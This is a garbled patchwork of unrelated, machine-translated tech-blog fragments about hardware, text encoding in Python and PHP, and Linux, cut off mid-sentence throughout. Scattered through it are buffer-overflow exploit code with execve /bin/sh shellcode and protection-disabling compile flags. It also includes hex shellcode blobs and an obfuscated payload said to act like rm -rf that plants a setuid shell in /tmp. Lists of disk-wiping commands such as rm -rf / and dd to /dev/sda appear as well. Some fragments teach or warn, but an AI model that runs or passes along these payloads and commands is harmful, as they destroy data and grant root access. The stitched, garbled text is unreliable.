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/directoryIv. Hardware Configuration RecommendationsIf it is for academic research rather than commercialization, a cost-effective hardware solution is recommended:1, graphics card: Titianx graphics card 2, gtx98ti can also,2, the motherboard can choose to insert a few video cards, generally also thousands of dollars, such as " gigabyte lga2011-3 ga-x99" Chassis and power supply what makes the supplier match up, the entire solution can be controlled b

overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.Observe the following code:#include int main() {Char *name[2];name[0] = "/bin/sh";name[1] = NULL;Execve (name[0], name, NULL);}The shellcode of this experiment is the compil

Minnowboard Maxminnowboard Max is a compact, cost-effective and powerful Development board for professionals and manufacturers. The open hardware design enables endless customization and integration of potential. It uses 64-bit intel® atom™? E38XX Series SOC CPU, integrated with Intel HD graphics. Video and digital audio output is available via HDMI with analog audio via expansion board alone. Other I/O include: Miniature, sata2,usb3.0 (host), USB2.0 (host), Gigabit Ethernet, I2C,SPI, and serial

. The command is as follows:$ sudo su$ gcc-m32-g-Z execstack-fno-stack-protector-o Stack stack.c$ chmod u+s Stack$ exit Our goal is to attack the vulnerability program just now and gain root access through the attack. Create a new exploit.c file in the/tmp directory and enter the following:/* exploit.c // A program This creates A file containing code for launching shell*/Include Char shellcode[] ="\x31\xc0"//xorl%eax,%eax"\x50"//PUSHL%eax"\x68" "//sh"//PUSHL $0x68732f2f"\x68" "/bin

))Output result:YouB '\ xe4 \ xbd \ xa0'2280b111001001890b101111011600b10100000GoodB '\ xe5 \ xa5 \ xbd'2290b111001011650b101001011890b10111101Summary: For UTF-8 encoding, Chinese characters are stored in three bytes and expressed in hexadecimal notation, while gbk encoding is stored in two bytes.For versions 2.7 and 3.7, when the for loop outputs Chinese characters, versions 2.7 are output in bytes, while versions 2.7 are output in characters.From the example above, we can see that the for Loo

When developing C, C ++, Pro * C, and other programs on Linux or Unix systems, it is inevitable to use the gcc tool, A common Japanese Encoding System in Japanese is Shift-JIS encoding. However, when gcc is used for Shift-JIS encoding, some Chinese characters are garbled, why. In Shift-JIS encoding, two bytes are used for Chinese characters. When the second byte is 0x5c, garbled characters will occur when gcc is used for compilation. Generally, the following Chinese characters are incorrect. /X8

German Greek Italian Polish Romanian Russian Spanish Turkish Place the code in your document.You can use the friendly name if there is one, the decimal numeric code, or the hexadecimal numeric code. I recommend using the decimal or hexadecimal codes. not all browsers support the friendly codes, and if you need to load them into XML, the friendly codes will not be supported by most XML Namespaces. but the numeric codes are.Some of the more common characters used are:

= "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69 ". "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/XCD/X80 ";Open (file, "> shellcode. bin ");Print file "$ shellcode ";Close (File );Run it to get shellcode. bin, and then analyze it with ndisasm. [Oyxin @ oyxin] $ ndisasm-B 32 shellcode. Bin00000000 31c0 XOR eax, eax00000002 50 push eax00000003 682f2f7368 push DWORD 0x68732f2f # Push // sh00000008 682f62696e push DWORD 0x6e69622f # Push/bin000d 89e3 mov

user may be fooled. Running the following command on the terminal may erase your root partition. This command indicates that the real danger is hidden and will not be easily detected. You must always pay attention to what you are doing. Do not compile/run code from unknown sources. # Equivalent to the rm-rf hexadecimal command char esp [] _ attribute _ (section (". text)/* e. s. prelease */= "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68" "\ xff \ x68 \ xdf \ xd0 \ xdf

', 'Ｚ' => 'Z', 'ａ' => 'a', 'ｂ' => 'b', 'ｃ' => 'c', 'ｄ' => 'd', 'ｅ' => 'e', 'ｆ' => 'f', 'ｇ' => 'g', 'ｈ' => 'h', 'ｉ' => 'i', 'ｊ' => 'j', 'ｋ' => 'k', 'ｌ' => 'l', 'ｍ' => 'm', 'ｎ' => 'n', 'ｏ' => 'o', 'ｐ' => 'p', 'ｑ' => 'q', 'ｒ' => 'r', 'ｓ' => 's', 'ｔ' => 't', 'ｕ' => 'u', 'ｖ' => 'v', 'ｗ' => 'w', 'ｘ' => 'x', 'ｙ' => 'y', 'ｚ' => 'z');echo preg_replace_callback("/([\xEF][\xBC][\x90-\x99]|[\xEF][\xBD][\x81-\x9A\xA1-\xBA])/", 'next_fchar', '０');function next_fcha

\ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 ″"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 ″"\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56 ″"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 ″"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ x2f \ x62 \ x69 ″"\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00 ″"Cp-p/bin/sh/tmp/. beyond; chmod 4755/Tmp/. beyond ;"; 4. This command will p

Int main () { Char shellcode [] = "/Xfc/x68/x6a/x0a/x38/x1e/x68/x63/x89/XD1/x4f/x68/x32/x74/x91/x0c" "/X8b/xf4/x8d/x7e/xf4/x33/XDB/xb7/x04/x2b/xe3/x66/xbb/x33/x32/x53" "/X68/x75/x73/X65/x72/x54/x33/xd2/x64/x8b/x5a/x30/x8b/x4b/x0c/x8b" "/X49/x1c/x8b/x09/x8b/x69/x08/XAD/X3D/x6a/x0a/x38/x1e/x75/x05/x95" "/XFF/x57/xf8/x95/X60/x8b/x45/x3c/x8b/x4c/x05/x78/x03/XCD/x8b/x59" "/X20/x03/xdd/x33/xFF/x47/x8b/x34/xbb/x03/xf5/x99/x0f/xbe/x06/x3a" "

In an article on linuxscrew.com, several fatal commands in Linux can easily overwrite your computer. These commands may be very familiar to some Linux system administrators. 1. The following command can easily clear the data on your computer disk. Sudo Rm-RF/ Rm-RF .* Dd If =/dev/Zero of =/dev/SDA Mkfs. ext3/dev/hda Whatever>/dev/hda Cd ~; For X in 'LS'; Do MV-F $ x $ Y; y = $ X; done Find-type F-mtime + 30-exec MV {}/dev/null \; Mv ~ /Dev/null MV // DEV/null 2. The following command

Class Str (object= "")Class str (object=b ', encoding= ' utf-8 ', errors= ' strict ')Converts another object to a string object.Example:>>> Str (123)'123'>>>str ()"'>>> file = open ('Data.txt','RB')>>> fb =File.read ()>>>Str (FB)"B ' \\xe5\\xa4\\xa9\\xe7\\x8e\\x8b\\xe7\\x9b\\x96\\xe5\\x9c\\xb0\\xe8\\x99\\x8e\\xef\\xbc\\x8c\\xe5\\xb0\\x8f\\xe9\\xb8\\xa1\\xe7\\x82\\x96\\xe8\\x98\\x91\\xe8\\x8f\\x87\\xe3\\x80\\x82'">>> Str (FB,'Utf-8') #指定编码集'King cover

/lib/cinder/mnt/3d59744e62f876bf5171140e3a723d34\n '2017-09-07 22:07:58.983 16612 ERROR oslo_service.service Stderr: '/bin/du:warning:circular directory Structure.\nthis A Lmost certainly means. A corrupted file system.\nnotify YOUR system manager.\nthe following directory is part of the cycle:\n \xe2\x80\x98/var/lib/cinder/mnt/3d59744e62f876bf5171140e3a723d34/.snapshot/sv_nightly.0\xe2\x80\ X99\n\n '2017-09-09 21:33:28.066 154678 WARNING oslo_reports

7 highly destructive Linux commandsIf you're using Linux, make sure you don't let silly kids hit the following commands, although these commands may seem quite complex, but they can have a serious impact on your system.There are some programs and systems that will affect you, and some will erase your disk directly, and these commands have little room to recover.1. Code:RM-RF/This is simple, the root directory will be wiped!2. Code:Char esp[] __attribute__ ((section (". Text"))/* E.S.PRelease */=

link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:3.2 ShellcodeIn general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address

. Round (3.1415926,2) >>> 3.14#Range (A[,b]): Generates an array of a to B, left closed right. Range (1,10) >>> [1,2,3,4,5,6,7,8,9]############ #类型转换 ##############int (str): converts to type int. Int (' 1 ') >>> 1#Float (INT/STR): Converts an int or character type to a floating-point type. Float (' 1 ') >>> 1.0#str (int): Converts to a character type. STR (1) >>> ' 1 '#bool (int): Converts to a Boolean type. STR (0) >>> false str (None) >>> false#bytes (str,code): Receives a string, with the fo

#-*-coding:utf-8-*-' Ftplib Library's read-write operation file name contains special processing in Chinese: A string received in Utf-8 format, You need to write a Unicode-encoded filename to the local file system when you save it. Test environment: server:filezillaserver0.9.50clientos:win7 ' import Ftplibfromftplibimportftpftp=ftplib. FTP () ftp.connect (host= ' localhost ', port=21,timeout=5) # Connecttohost,defaultportftp.login (user= ' Honglei ', passwd= ' 111111 ' ) #names =[ ] #def mycall

Python Basics (File operations)I. Initial file operationUsing Python to read and write files is a very simple operation. We use the open () function to get to a file handle by opening a file. Then you can do all sorts of things with a file handle. There are also differences in the actions you can perform depending on how you open them.How to open the file: R, W, A, r+, w+, A +, RB, WB, AB, R+b, w+b, a+b the default is R (read-only) modeTwo. read-only operation (R,RB)f = open (" nurse young woman